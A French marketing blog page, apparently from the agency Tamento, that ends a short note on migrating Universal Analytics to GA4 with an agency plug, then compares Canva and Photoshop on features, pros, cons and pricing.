Après plusieurs procédures, il vous sera possible d’expédier les données de votre propriété Universal Analytics vers votre nouvelle propriété Google Analytics 4. Cela est possible de façon manuelle depuis l’interface de l’outil ou automatiquement en utilisant BigQuery.

Afin d’assurer le succès de votre migration, pourquoi ne pas faire appel à des experts du web et plus particulièrement à des trafic manager et gestionnaires de performances ? Chez Tamento, nous avons les experts qu’il vous faut ! Alors pas d’inquiétude, migrez en toute tranquillité !

Canva VS Photoshop

Introduction

Présentation des deux outils

Vous êtes à la recherche d’un logiciel de conception pour créer des visuels attrayants ? Si c’est le cas, vous avez probablement rencontré Canva et Photoshop. Ces deux logiciels sont des plates-formes de conception puissantes et populaires, mais ils ont leurs différences. Laquelle vous convient le mieux ? Examinons les avantages et les inconvénients de ces deux logiciels.

Canva et Photoshop sont tous les deux des outils très populaires pour la création graphique. Canva est un outil de conception en ligne qui a été conçu pour les utilisateurs qui n’ont pas ou peu de compétences en conception graphique. Il est facile à utiliser et offre une variété de modèles prédéfinis et de fonctionnalités pour créer des designs professionnels. Photoshop, quant à lui, est un logiciel de retouche d’image professionnel qui est utilisé principalement par les photographes, les graphistes et les designers. Il offre des fonctionnalités avancées pour la retouche d’images, la manipulation de photos, la création de graphismes, etc.

Canva

Présentation générale

Canva est un outil de conception de niveau professionnel qui permet à n’importe qui de créer des designs visuels de qualité professionnelle, quelle que soit leur expérience en design. Le logiciel propose une méthode simple pour créer des designs remarquables avec une grande facilité. Canva dispose d’une vaste bibliothèque de modèles de design, de polices de caractères gratuites, d’images et d’éléments graphiques que vous pouvez utiliser pour réaliser des designs originaux.

Caractéristiques et fonctionnalités

La première étape pour utiliser Canva consiste à créer votre compte gratuit. Ensuite, vous pouvez choisir parmi une variété de modèles prêts à l’emploi ou créer un design à partir de zéro. Si vous optez pour un modèle, vous pouvez trouver une variété de catégories, y compris des designs pour les médias sociaux, les présentations, les invitations, les cartes de visite et bien d’autres qui vous aideront à vous inspirer rapidement.

En utilisant un modèle, vous pouvez également modifier les paramètres pour les adapter à vos besoins. Par exemple, vous pouvez changer la couleur d’arrière-plan, la police de caractères ou les images du modèle, et ajouter du texte ou des images. Faites simplement glisser et déposez les éléments que vous souhaitez inclure dans votre design, et utilisez les outils de Canva pour les placer où vous le souhaitez.

Canva propose également une sélection d’images libres de droit à insérer dans vos designs. Vous pouvez choisir parmi des centaines de milliers d’images de qualité, que ce soit des icônes ou des photos. Une fois que vous avez trouvé l’image que vous souhaitez utiliser, il suffit de la faire glisser et de la déposer dans votre design Canva. Avec l’éditeur d’image inclus, vous pouvez facilement recadrer, tourner ou appliquer des filtres pour ajouter une certaine ambiance ou une touche personnelle à votre design.

Canva dispose également d’une fonction de partage qui vous permet de partager directement votre design avec des amis, des collègues ou des clients. Vous pouvez également télécharger votre design pour l’utiliser hors ligne, ou l’imprimer à imprimer chez un professionnel.

Avantages (facilité d’utilisation, abordabilité, modèles prédéfinis)

  1. Facilité d’utilisation : La plateforme Canva est très intuitive et facile à utiliser. Les utilisateurs peuvent choisir parmi les nombreux modèles préexistants et les personnaliser en fonction de leurs besoins. Les outils sont également conviviaux, facilitant la création et la modification des designs. Cela est particulièrement utile pour les nouvelles recrues qui apprennent encore les fondamentaux de la conception graphique.
  2. Large choix de modèles : Canva propose une vaste sélection de modèles prédéfinis pour les utilisateurs. Des cartes de visite aux bannières Facebook en passant par les flyers, la bibliothèque de modèles est tout simplement impressionnante. Les utilisateurs peuvent également filtrer les résultats pour trouver rapidement ce dont ils ont besoin.
  3. Bibliothèque d’images gratuite : Canva offre également une bibliothèque d’images gratuite pour les utilisateurs. Cette bibliothèque comprend des images haute résolution de qualité pour diverses utilisations. Il permet aux utilisateurs de trouver et d’ajouter des images directement à partir de la plateforme, sans avoir à chercher sur d’autres sites.
  4. Outils de collaboration : Canva propose également des outils de collaboration pour les projets. Les utilisateurs peuvent partager les designs créés avec des membres de leur équipe ou des clients pour obtenir des commentaires et des suggestions. Cela facilite la collaboration et la communication entre les membres de l’équipe, en particulier lorsqu’ils travaillent à distance.
  5. Fonctionnalités premium : Canva propose également des fonctionnalités premium telles que des designs illimités, des marques personnelles et des outils de branding pour les utilisateurs professionnels. Bien que ces fonctionnalités nécessitent un abonnement, elles peuvent être très utiles pour les utilisateurs qui ont besoin de créer des designs de qualité supérieure.

Inconvénients (moins de fonctionnalités avancées)

  1. Limites de personnalisation :
    Canva est un outil basé sur des modèles pré-conçus. Bien que la bibliothèque de modèles soit immense, cela signifie que vous n’avez pas autant de liberté pour personnaliser votre design que vous le feriez avec un logiciel de conception graphique traditionnel. De plus, les modèles peuvent parfois être limités en termes de choix de polices, de couleurs et de tailles d’image.
  2. Dépendance de la connexion Internet :
    Canva est une plateforme de conception en ligne, ce qui signifie que vous avez besoin d’une connexion Internet pour l’utiliser. Si vous n’êtes pas connecté à Internet, vous ne pouvez pas accéder à vos designs et travailler sur eux. De plus, si votre connexion Internet est lente ou instable, cela peut affecter votre expérience de conception et la fluidité de votre travail.
  3. Coûts élevés de la version payante :
    Canva propose une version gratuite qui offre des fonctionnalités de base. Cependant, pour des fonctionnalités plus avancées telles que l’accès à une plus grande bibliothèque de photos, la suppression de l’arrière-plan et l’ajout de gifs animés, vous devrez passer à la version payante de Canva. Le coût mensuel ou annuel peut être élevé pour les utilisateurs occasionnels ou les petites entreprises, ce qui peut rendre l’utilisation de Canva beaucoup moins rentable.
  4. Pas de support pour les fichiers RAW :
    Si vous êtes photographe professionnel ou si vous travaillez avec des fichiers d’image RAW, vous devrez convertir vos fichiers en formats pris en charge avant de les importer dans Canva. Canva ne prend pas en charge les formats de fichiers RAW tels que CR2, NEF, ARW, etc. Cela peut être un inconvénient majeur pour les professionnels qui utilisent des images RAW pour leur travail.
  5. Pas d’accès hors ligne :
    Comme mentionné précédemment, Canva est une plateforme en ligne. Cela signifie que vous ne pouvez pas accéder à vos designs hors ligne. Si vous devez travailler sur vos designs sans être connecté à Internet, vous devrez les télécharger et les sauvegarder sur votre ordinateur pour y accéder hors ligne. Cela peut être très gênant pour les personnes qui voyagent fréquemment ou qui n’ont pas de connexion Internet fiable.

Photoshop

Présentation générale

Photoshop est sans aucun doute l’un des logiciels de retouche d’image les plus utilisés au monde. Que ce soit pour des besoins de design, de retouches photos, de création graphique ou encore de peinture digitale, l’application est devenue essentielle pour tous les professionnels de la création. Si vous êtes débutant et que vous cherchez à utiliser Photoshop pour la première fois, ou si vous êtes simplement curieux de savoir comment ça fonctionne, voici tout ce que vous devriez savoir sur cet outil de création incroyable.

Caractéristiques et fonctionnalités

Photoshop propose de nombreuses fonctionnalités qui en ont fait la référence sur le marché de la création numérique. Il permet notamment :

  • L’édition de photos et de supporters de dossier multiples.
  • Le traitement de niveaux, de courbes, de contraste, de l’ajustement de la luminosité et de la saturation.
  • La création de collages complexes, montage des photos, de fusion de calques.
  • La possibilité d’ajouter du texte, des effets spéciaux et des filtres.
  • La création d’images vectorielles et de graphiques en 3D.
  • L’interface de programmation d’application qui vous permet de construire des extensions et scripts personnalisés.

Lorsque vous ouvrez Photoshop, vous pouvez lancer un nouveau projet ou en ouvrir un existant. Une fois que vous avez une image ou une création ouverte, vous pouvez utiliser les différents outils et fonctionnalités pour manipuler l’image selon vos besoins.

Le panneau des calques est l’un des éléments les plus importants de Photoshop. Il vous permet de créer des calques, de les renommer et de les organiser. Vous pouvez également ajouter des images, des textes, des effets et des filtres pour personnaliser chaque couche.

Il est important de se familiariser avec les raccourcis clavier Photoshop. Les raccourcis clavier vous permettent d’utiliser plus rapidement Photoshop et de gagner du temps sur vos projets. Il est également important de personnaliser les paramètres de Photoshop afin de s’adapter au mieux à vos préférences et à vos projets.

Il est également utile de savoir comment enregistrer vos projets dans différents formats, tels que JPEG, PNG, TIFF et PSD. Il est également recommandé d’enregistrer régulièrement vos projets pour éviter toute perte de données.

Avantages (fonctionnalités avancées, professionnel)

  1. Un large éventail de fonctionnalités

Photoshop offre une large gamme de fonctionnalités qui permettent aux utilisateurs de personnaliser et de modifier leurs photos de manière professionnelle. Avec sa superposition d’effets, sa fonction de correction de couleur et d’ajustement de netteté, photoshop permet une retouche photo professionnelle de qualité supérieure.

  1. Une retouche photo non destructive

L’un des avantages les plus importants de Photoshop est sa capacité à effectuer une retouche photo non-destructive, ce qui signifie que les changements apportés à une image ne sont pas permanents. Le logiciel conserve une copie originale de l’image, ce qui permet aux utilisateurs d’apporter des changements à leur guise sans perdre la qualité de la photo ou sa résolution initiale.

  1. Un excellent support pour les formats de fichiers

Photoshop prend en charge plusieurs formats de fichiers, y compris les fichiers RAW pris avec des appareils photo professionnels, ce qui permet aux utilisateurs de modifier leurs photos tout en conservant la qualité et la résolution de l’image originale.

  1. Des fonctionnalités avancées pour des ajustements précis

Photoshop offre une grande précision dans la retouche photo grâce à des fonctionnalités avancées telles que la sélection du contour, la suppression des défauts, le tampon de duplication et la décoloration. Ces fonctionnalités offrent aux utilisateurs la possibilité de modifier précisément les détails de leur photo.

  1. Une large communauté d’utilisateurs

Photoshop est un logiciel très populaire et de nombreux utilisateurs sont disponibles pour fournir une assistance et des conseils utiles pour les débutants. La communauté Photoshop dispose également de nombreux forums et sites web sur lesquels les utilisateurs peuvent trouver des tutoriels, des astuces et des conseils pour améliorer leur retouche photo.

Inconvénients (difficulté d’utilisation, coût élevé)

  1. Coût élevé
    Le coût de Photoshop est l’un des inconvénients les plus couramment cités. Le logiciel est assez cher, surtout pour les étudiants ou les débutants en design graphique. Pour acquérir la version la plus récente, vous devrez payer un abonnement mensuel ou annuel, ce qui peut représenter une lourde charge financière pour les personnes qui en ont besoin occasionnellement.
  2. Compétences requises
    Pour utiliser Photoshop, il est nécessaire de disposer d’un certain niveau de compétences, ce qui peut prendre du temps et nécessiter beaucoup d’apprentissage. Bien que le logiciel soit très puissant, il peut être difficile de l’utiliser correctement si vous ne connaissez pas bien les fonctions et les outils, ce qui peut faire perdre du temps à vos projets.
  3. Besoins en termes de gestion de fichiers
    Photoshop peut être assez gourmand en termes de gestion de fichiers. Chaque projet comporte des nombreux fichiers qui peuvent rapidement devenir encombrants et occupent votre espace de stockage. Si vous travaillez sur plusieurs projets en même temps, cela peut devenir rapidement ingérable.
  4. Complexité de l’interface
    Photoshop offre une interface très complexe qui peut parfois décourager un utilisateur débutant. De nombreux outils, fonctionnalités et menus rendent l’utilisation de ce logiciel difficile et fastidieuse. Il peut être difficile de se retrouver même pour certaines personnes qui ont déjà de bonnes connaissances en informatique.
  5. Installation et compatibilité
    Enfin, il est important de souligner que Photoshop prend une grande partie de l’espace de votre disque dur lorsqu’il est installé. Si vous utilisez également d’autres logiciels créatifs simultanément, vous pouvez rencontrer des problèmes de compatibilité.

Comparaison Canva vs Photoshop

  1. Accessibilité et fonctionnalités de base

Canva est un outil en ligne accessible gratuitement et facile à utiliser pour les débutants. Canva propose des modèles prédéfinis et des fonctions d’édition rapides qui permettent aux utilisateurs de créer rapidement des conceptions. Canva propose également des fonctionnalités de base telles que la modification de la taille et de la transparence des images, la modification des couleurs et des polices de caractères, ainsi que la création de formes et de graphiques.

Photoshop, quant à lui, est une application de bureau professionnelle qui est accessible uniquement via un abonnement. Photoshop est un outil avancé qui offre une large gamme de fonctionnalités pour les utilisateurs expérimentés. Les fonctionnalités de base de Photoshop comprennent la retouche d’images, la gestion des couleurs, la création de masques de calques et bien plus encore.

  1. Fonctionnalités de conception avancées

Canva est plus axé sur la conception de projets simples, tandis que Photoshop est un outil de conception avancé pour les projets plus complexes. Canva a une bibliothèque de modèles disponibles qui conviennent à une large gamme de projets tels que les invitations, les publications sur les réseaux sociaux, les bannières publicitaires, les brochures, la création de diaporamas, etc. Canva propose également des fonctionnalités avancées telles que la suppression d’arrière-plan automatique, la possibilité de collaborer en temps réel, la création de modèles personnalisés et bien plus encore.

Photoshop est un outil professionnel de création d’images numériques qui offre des fonctionnalités avancées pour les concepteurs graphiques. Les fonctionnalités de conception avancées de Photoshop incluent la retouche de photo, la création d’effets de texte, la prise en charge de la résolution élevée, la création de calques et de masques, pour n’en nommer que quelques-uns. Les utilisateurs avancés de Photoshop peuvent également utiliser des plug-ins pour étendre les fonctionnalités de base.

  1. Prix

Canva propose une version gratuite qui est accessible à tous. Cependant, les fonctionnalités avancées de Canva sont disponibles via un abonnement payant qui commence à partir de 12,95 $ par mois. La version gratuite de Canva est idéale pour les projets de conception simples et les débutants. Les abonnements payants offrent des fonctionnalités avancées qui conviennent aux professionnels.

Photoshop est une application de bureau qui nécessite un abonnement payant qui commence à partir de 19,99 $ par mois. Photoshop est un outil professionnel destiné aux designers graphiques avancés et aux photographes professionnels. Les abonnements à Photoshop incluent également une gamme complète d’outils et de fonctionnalités pour les professionnels.

Conclusion

Récapitulation des points clés

Canva et Photoshop sont deux outils de conception graphique populaires. Canva est idéal pour les projets de conception simples pour les débutants, tandis que Photoshop est un outil professionnel de création d’images numériques pour les concepteurs graphiques avancés et les photographes professionnels. Canva est un outil disponible en ligne pour les utilisateurs gratuits et payants, tandis que Photoshop est une application de bureau disponible uniquement via un abonnement payant. Ils ont tous les deux des fonctionnalités de base ainsi que des fonctionnalités avancées pour les utilisateurs expérimentés. En fonction de vos besoins, choisissez l’outil qui convient le mieux à votre niveau de compétences et à votre projet de conception.